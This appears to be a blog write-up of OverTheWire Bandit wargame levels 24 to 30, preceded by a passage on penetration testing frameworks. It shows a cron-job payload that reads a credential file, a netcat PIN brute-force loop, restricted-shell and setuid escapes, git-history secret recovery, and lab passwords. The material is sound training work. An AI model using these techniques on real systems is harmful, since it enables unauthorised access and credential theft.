PCI DSS Penetration Testing Guidelines — Compliance-driven. If the target handles payment card data, PCI DSS mandates specific testing requirements. You don't choose this one — the compliance requirement chooses it for you.

CBEST Framework — UK financial sector specific. Intelligence-led penetration testing for critical financial infrastructure. Threat-intelligence driven — you model real threat actors likely to target the specific institution before testing begins.

Choosing the Right Framework​

The honest answer: you almost never use just one, and you almost never follow any of them completely.

A practical mapping:

The real skill isn't memorizing frameworks — it's knowing which parts of which framework apply to your current target, and using them as a checklist to make sure you haven't missed an entire attack category. The moment you're mid-engagement and you realize you haven't tested auth token expiry or checked for IDOR on a numeric ID endpoint — that's OWASP WSTG's job to catch.

Frameworks are a forcing function against tunnel vision.

task​

A program is running automatically at regular intervals from cron. Look in /etc/cron.d/ for the configuration and see what command is being executed.

theory lil bit​

1. Cronjobs running as other users: The script is scheduled in /etc/cron.d to run as the bandit24 user. This means any commands executed by the script run with bandit24's privileges.
2. File Ownership (stat -c "%U"): The cron script checks the owner of the files in a specific directory. It specifically looks for files owned by bandit23 to execute.
3. Payload Execution: If the script finds a file owned by bandit23, it executes it. By writing a simple bash script that copies the password to a world-writable directory, we can trick bandit24 into doing the heavy lifting for us.
4. Permissions (chmod 777): Since the script runs as bandit24, it needs permission to write the output file into our bandit23 temporary directory. Setting the directory permissions to 777 ensures this works.

solution​

# 1. Check the cron configuration for bandit24
bandit23@bandit:~$ cd /etc/cron.d
bandit23@bandit:/etc/cron.d$ cat cronjob_bandit24
@reboot bandit24 /usr/bin/cronjob_bandit24.sh &> /dev/null
* * * * * bandit24 /usr/bin/cronjob_bandit24.sh &> /dev/null

# 2. Analyze the script logic
bandit23@bandit:/etc/cron.d$ cat /usr/bin/cronjob_bandit24.sh
#!/bin/bash
shopt -s nullglob

myname=$(whoami)

cd /var/spool/"$myname"/foo || exit 
echo "Executing and deleting all scripts in /var/spool/$myname/foo:"
for i in * .*;
do
    if [ "$i" != "." ] && [ "$i" != ".." ];
    then
        echo "Handling $i"
        owner="$(stat --format "%U" "./$i")"
        if [ "${owner}" = "bandit23" ] && [ -f "$i" ]; then
            timeout -s 9 60 "./$i"
        fi
        rm -rf "./$i"
    fi
done
# The script goes to /var/spool/bandit24/foo
# If it finds a file owned by bandit23, it executes it, then deletes it.

# 3. Create a temporary directory to work in
bandit23@bandit:/etc/cron.d$ mktemp -d
/tmp/tmp.RXCBGeylmO
bandit23@bandit:/etc/cron.d$ cd /tmp/tmp.RXCBGeylmO

# 4. Give read/write/execute permissions to everyone on the temp directory
# This allows bandit24 to write the password file here
bandit23@bandit:/tmp/tmp.RXCBGeylmO$ chmod 777 .

# 5. Create the payload script to steal the password
# (Using nano or echo to write the script)
bandit23@bandit:/tmp/tmp.RXCBGeylmO$ echo '#!/bin/bash' > bandit24.sh
bandit23@bandit:/tmp/tmp.RXCBGeylmO$ echo 'cat /etc/bandit_pass/bandit24 > /tmp/tmp.RXCBGeylmO/password.txt' >> bandit24.sh

# 6. Make the script executable
bandit23@bandit:/tmp/tmp.RXCBGeylmO$ chmod +rwx bandit24.sh

# 7. Copy the payload script into the target directory where the cronjob looks
bandit23@bandit:/tmp/tmp.RXCBGeylmO$ cp bandit24.sh /var/spool/bandit24/foo/myscript.sh

# 8. Wait a minute for the cronjob to run, then check for the new password file
bandit23@bandit:/tmp/tmp.RXCBGeylmO$ ls -la
total 180
drwxrwxrwx  2 bandit23 bandit23  4096 Apr 11 20:45 .
drwxrwx-wt 4284 root     root    167936 Apr 11 20:45 ..
-rwxrwxr-x  1 bandit23 bandit23    77 Apr 11 20:43 bandit24.sh
-rw-rw-r--  1 bandit24 bandit24    33 Apr 11 20:45 password.txt

# 9. Read the target password
bandit23@bandit:/tmp/tmp.RXCBGeylmO$ cat password.txt
gb8KRRCsshuZXI0tUuR6ypOFjiZbf3G8

<!-- truncate -->

task​

A daemon is listening on port 30002 and will give you the password for bandit25 if given the password for bandit24 and a secret numeric 4-digit pincode. There is no way to retrieve the pincode except by going through all of the 10000 combinations, called brute-forcing.

theory lil bit​

1. Process Enumeration: Using ps aux | grep helps identify background services or processes running under specific user accounts.
2. Port Scanning: nmap is used to verify if a specific port on localhost is actually open and listening.
3. Manual Interaction: Before writing a script, it's crucial to connect to the service manually (using nc) to understand exactly what input format the program expects and what output it gives.
4. Brute-Forcing with Loops: A bash for loop combined with brace expansion {0000..9999} is the fastest way to generate all possible 4-digit PINs. Piping (|) this massive output directly into nc automates the attack.

my approach / solution​

1. Reconnaissance: First, I wanted to see if there were any obvious processes running for bandit25.

bandit24@bandit:~$ ps aux | grep bandit25

I also poked around /var/run to see if there were any interesting socket or PID files, but didn't find anything immediately useful for this challenge.

2. Verifying the Port: I knew from the prompt that a service was on port 30002. After a quick typo with an nmap flag, I scanned the port locally to confirm it was up and listening as pago-services2.

bandit24@bandit:~$ nmap localhost -p 30002
Starting Nmap 7.94SVN ...
PORT      STATE SERVICE
30002/tcp open  pago-services2

3. Manual Testing: Before writing any scripts, I connected manually to see what the daemon actually wanted. First, I just piped the password, but it failed. Then, I connected interactively and typed a few random guesses (0 0 0 0, 0 0 0 1) to see how it handled bad inputs.

bandit24@bandit:~$ nc localhost 30002 I am the pincode checker for user bandit25. Please enter the password for user bandit24 and the secret pincode on a single line, separated by a space. 0 0 0 0 Wrong! Please enter the correct current password and pincode. Try again.

4. The Brute-Force Attack: Once I understood the format (<password> <pin>), I wrote a one-liner bash for loop to generate all numbers from 0000 to 9999. I echoed the password alongside the generated PIN and piped the entire 10,000-line stream directly into the netcat connection.

bandit24@bandit:~$ for i in {0000..9999}; do echo "gb8KRRCsshuZXI0tUuR6ypOFjiZbf3G8 $i"; done | nc localhost 30002

5. Catching the Flag: The script fired off thousands of attempts in seconds. The terminal flooded with "Wrong!" messages until it finally hit the correct PIN, breaking the loop with the success message:

Wrong! Please enter the correct current password and pincode. Try again. Correct! The password of user bandit25 is iCi86ttT4KSNe1armKiwbQNmB3YJP3q4

<!-- truncate -->

task​

Logging in to bandit26 from bandit25 should be quite easy. The shell for user bandit26 is not /bin/bash, but something else. Find out what it is, how it works, and how to break out of it.

theory lil bit​

1. SSH Key Permissions: SSH is very strict about security. If a private key file (.sshkey) is readable by other users, SSH will reject it to prevent abuse. You must set permissions to 700 or 600.
2. Custom Login Shells: The /etc/passwd file defines what program runs when a user logs in. It doesn't have to be a standard shell like /bin/bash; it can be any executable script. If that script exits, your SSH session ends.
3. Escaping Pagers (more): When a program like more (a pager) outputs text that is larger than your terminal window, it pauses. While paused, you can use built-in commands. Pressing v tells more to open the current file in the vim text editor.
4. Vim Shell Escaping: vim has the ability to run system commands or spawn a new shell. By changing vim's internal shell setting (:set shell=/bin/bash) and then calling it (:shell), you can break out of a restricted environment and get a fully functional terminal.

my approach / solution​

1. Finding and Fixing the SSH Key: I logged in and found bandit26.sshkey right in the home directory. I tried to use it to SSH into bandit26, but SSH yelled at me about bad permissions:

WARNING: UNPROTECTED PRIVATE KEY FILE! Permissions 0755 for 'bandit26.sshkey' are too open.

I fixed this by restricting the permissions so only my user could read it: bandit25@bandit:~$ chmod 700 bandit26.sshkey

2. The Disappearing Shell Problem: When I tried to SSH after fixing the key, the server displayed an OverTheWire banner and then immediately kicked me out. I needed to figure out what was happening upon login.

I checked the /etc/passwd file for bandit26 to see what shell it was using: bandit25@bandit:~$ cat /etc/passwd | grep bandit26 bandit26❌11026:11026:bandit level 26:/home/bandit26:/usr/bin/showtext

Instead of /bin/bash, it was running a custom script called /usr/bin/showtext. I checked the contents of that script: bandit25@bandit:~$ cat /usr/bin/showtext #!/bin/sh export TERM=linux exec more ~/text.txt exit 0

3. Breaking out of more: The script simply runs more on a text file and then exits. If I could interact with more before it finished printing the file, I could escape it. I reduced my terminal window size (so the text wouldn't fit on one screen) forcing more to pause.

I logged in via SSH again, but this time i resized my terminal to a very small size... the screen paused at the bottom ... instead of hitting space to scroll .. i pressed the v key on my keyboard. This is a built-in shortcut that opens the current text block in the vim editor.

4. Spawning a bash shell from Vim: Once inside Vim, I had the ability to run commands. I pressed : to enter command mode and changed Vim's default shell to bash: :set shell=/bin/bash

Then, I pressed : again and told vim to spawn that shell: :shell and yeah ....i was dropped into a normal bash terminal as the user bandit26.

5. Catching the Flag: Now that I had a fully interactive shell, I simply read the password file for bandit26: bandit26@bandit:~$ cat /etc/bandit_pass/bandit26 s0773xxkk0MXfdqOfPRVr9L3jJBUOgCZ

<!-- truncate -->

task​

Good job getting a shell! Now, there is a setuid binary in the homedirectory that does things for the next user. Find out how to use it to get the password.

theory lil bit​

1. SUID (Set User ID): Sometimes executables are configured to run with the permissions of the user who owns the file, rather than the user who runs the file. This script is owned by bandit27 and has the SUID bit set, meaning any command we pass into it will be executed with bandit27's privileges.

my approach / solution​

1. Inspect the home directory: Right after breaking out of the Vim shell from the previous level, I checked what was sitting in the home directory.

bandit26@bandit:~$ ls bandit27-do text.txt

2. Figure out the binary: I ran the bandit27-do executable without any arguments to see if it had a help menu or expected syntax. It clearly stated it runs commands as another user.

bandit26@bandit:~$ ./bandit27-do Run a command as another user. Example: ./bandit27-do id

3. Test the execution: I ran the example command to verify it was working as intended. The output showed my effective user ID (euid) successfully shifted to bandit27.

bandit26@bandit:~$ ./bandit27-do id uid=11026(bandit26) gid=11026(bandit26) euid=11027(bandit27) groups=11026(bandit26)

4. Capture the password: Since I now had a direct way to execute commands as bandit27, I used the binary to read the protected password file for the next level.

bandit26@bandit:~$ ./bandit27-do cat /etc/bandit_pass/bandit27 upsNCc7vzaRDx6oZC6GiR6ERwe1MowGB

<!-- truncate -->

task​

A git repository is at ssh://bandit27-git@bandit.labs.overthewire.org:2220/home/bandit27-git/repo. The password for the user bandit27-git is the same as the password for the user bandit27. Clone the repository and find the password for the next level.

theory lil bit​

1. Git Clone: The git clone command is used to create a copy of a specific repository from a remote server onto your local machine.
2. SSH Protocol: Git can use SSH for data transfer. The URL specifies the user, the host, the port (2220), and the path to the repository.
3. Repository Exploration: After cloning, you enter the directory to find the files that were tracked by the repository.
4. Authentication: Since the git user bandit27-git shares the password with the shell user bandit27, you simply reuse the current level's password when prompted.

solution​

# Create a temporary directory to work in
┌──(sssubhammm ⌘ macbook-air)-[~]
└─$ mkdir /tmp/my_git_repo && cd /tmp/my_git_repo

# Clone the remote repository using the provided SSH URL
# Use the bandit27 password when prompted
┌──(sssubhammm ⌘ macbook-air)-[/tmp/my_git_repo]
└─$ git clone ssh://bandit27-git@bandit.labs.overthewire.org:2220/home/bandit27-git/repo
Cloning into 'repo'...
bandit27-git@bandit.labs.overthewire.org's password: 
remote: Enumerating objects: 3, done.
remote: Counting objects: 100% (3/3), done.
remote: Compressing objects: 100% (2/2), done.
remote: Total 3 (delta 0), reused 0 (delta 0), pack-reused 0
Receiving objects: 100% (3/3), done.

# Navigate into the cloned directory and check the contents
┌──(sssubhammm ⌘ macbook-air)-[/tmp/my_git_repo]
└─$ cd repo
┌──(sssubhammm ⌘ macbook-air)-[/tmp/my_git_repo/repo]
└─$ ls
README

# Read the README file to retrieve the password
┌──(sssubhammm ⌘ macbook-air)-[/tmp/my_git_repo/repo]
└─$ cat README
The password to the next level is: Yz9IpL0sBcCeuG7m9uQFt8ZNpS4HZRcN

<!-- truncate -->

task​

There is a git repository at ssh://bandit28-git@bandit.labs.overthewire.org:2220/home/bandit28-git/repo. The password for the user bandit28-git is the same as the password for the user bandit28. Clone the repository and find the password for the next level.

theory lil bit​

1. Git History: Git stores a snapshot of every change made to a file. Even if sensitive data is overwritten or deleted in the latest version, it remains accessible in the project's history.
2. Git Log: The git log command displays a list of all commits made to the repository, showing the commit hash, author, and descriptions like "fix info leak."
3. Git Show: This command is used to view the specific changes (diff) introduced in a particular commit. It highlights what was added (+) and what was removed (-).
4. Data Sanitization: This level highlights the danger of committing secrets. Simply "fixing" an info leak with a new commit doesn't remove the secret from the underlying .git directory.

solution​

# Clone the repository into your workspace
┌──(sssubhammm ⌘ macbook-air)-[~/repo]
└─$ git clone ssh://bandit28-git@bandit.labs.overthewire.org:2220/home/bandit28-git/repo
Cloning into 'repo'...
bandit28-git@bandit.labs.overthewire.org's password: 

# Navigate to the repository and check the current file
┌──(sssubhammm ⌘ macbook-air)-[~/repo]
└─$ cd repo
┌──(sssubhammm ⌘ macbook-air)-[~/repo/repo]
└─$ cat README.md
# Bandit Notes
...
- password: xxxxxxxxxx

# Inspect the commit history to find where the "info leak" occurred
┌──(sssubhammm ⌘ macbook-air)-[~/repo/repo]
└─$ git log
commit 00daa614aac60bd2981c381484191eb7bc4dcfd9 (HEAD -> master)
Author: Morla Porla <morla@overthewire.org>
    fix info leak

commit a1487fd098591dfa210ede70ba60f7093f47d20d
    add missing data

# View the changes in the 'fix info leak' commit to see the original password
┌──(sssubhammm ⌘ macbook-air)-[~/repo/repo]
└─$ git show 00daa614aac60bd2981c381484191eb7bc4dcfd9
...
- password: 4pT1t5DENaYuqnqvadYs1oE4QLCdjmJ7
+ password: xxxxxxxxxx

<!-- truncate -->

task​

There is a git repository at ssh://bandit29-git@bandit.labs.overthewire.org:2220/home/bandit29-git/repo. The password for the user bandit29-git is the same as the password for the user bandit29. Clone the repository and find the password for the next level.

theory lil bit​

1. Git Branches: Repositories often have multiple branches (e.g., master, dev, staging). The default branch might not contain the sensitive data you are looking for.
2. Remote Branches: Use git branch -a to see all branches, including those that exist on the remote server but haven't been checked out locally yet.
3. Switching Context: The git checkout [branch_name] command allows you to switch between these different versions of the project's codebase.
4. Information Siloing: Developers often keep "production" branches clean while leaving credentials or debugging code in "development" or "test" branches.

solution​

# Clone the repository
┌──(sssubhammm ⌘ macbook-air)-[~/repo/repo]
└─$ git clone ssh://bandit29-git@bandit.labs.overthewire.org:2220/home/bandit29-git/repo
Cloning into 'repo'...
bandit29-git@bandit.labs.overthewire.org's password: 

# Navigate and check the default README (password is redacted)
┌──(sssubhammm ⌘ macbook-air)-[~/repo/repo]
└─$ cd repo
┌──(sssubhammm ⌘ macbook-air)-[~/repo/repo/repo]
└─$ cat README.md
- password: <no passwords in production!>

# Check all available branches (local and remote)
┌──(sssubhammm ⌘ macbook-air)-[~/repo/repo/repo]
└─$ git branch -a
* master
  remotes/origin/HEAD -> origin/master
  remotes/origin/dev
  remotes/origin/master
  remotes/origin/sploits-dev

# Switch to the 'dev' branch to see if it contains different data
┌──(sssubhammm ⌘ macbook-air)-[~/repo/repo/repo]
└─$ git checkout dev
branch 'dev' set up to track 'origin/dev'.
Switched to a new branch 'dev'

# Check the README.md in the 'dev' branch
┌──(sssubhammm ⌘ macbook-air)-[~/repo/repo/repo]
└─$ cat README.md
# Bandit Notes
Some notes for bandit30 of bandit.

## credentials

- username: bandit30
- password: qp30ex3VLz5MDG1n91YowTv4Q8l7CDZL

<!-- truncate -->